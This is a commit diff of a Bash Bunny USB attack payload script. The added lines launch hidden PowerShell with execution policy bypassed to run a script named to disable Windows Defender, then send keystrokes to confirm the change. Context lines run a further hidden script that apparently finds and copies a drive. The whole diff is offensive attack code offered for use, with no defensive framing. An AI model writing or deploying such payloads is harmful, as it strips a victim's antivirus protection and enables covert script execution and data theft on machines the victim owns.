Update payload.txt
parent
a287f4c9b9
commit
14d9fcd9ae
|
@ -7,6 +7,11 @@ ATTACKMODE HID STORAGE
|
|||
GET SWITCH_POSITION
|
||||
#Wait for the computer to recognise the drive etc
|
||||
QUACK delay 5000
|
||||
#Disable AntiVirus (Windows Defender)
|
||||
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\disable-anti-virus.ps1')"
|
||||
Q DELAY 1000
|
||||
Q LEFT
|
||||
Q ENTER
|
||||
#Get drive letter and copying it:
|
||||
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\GetDrive.ps1')"
|
||||
Q DELAY 1000
|
||||
|
|
Loading…
Reference in New Issue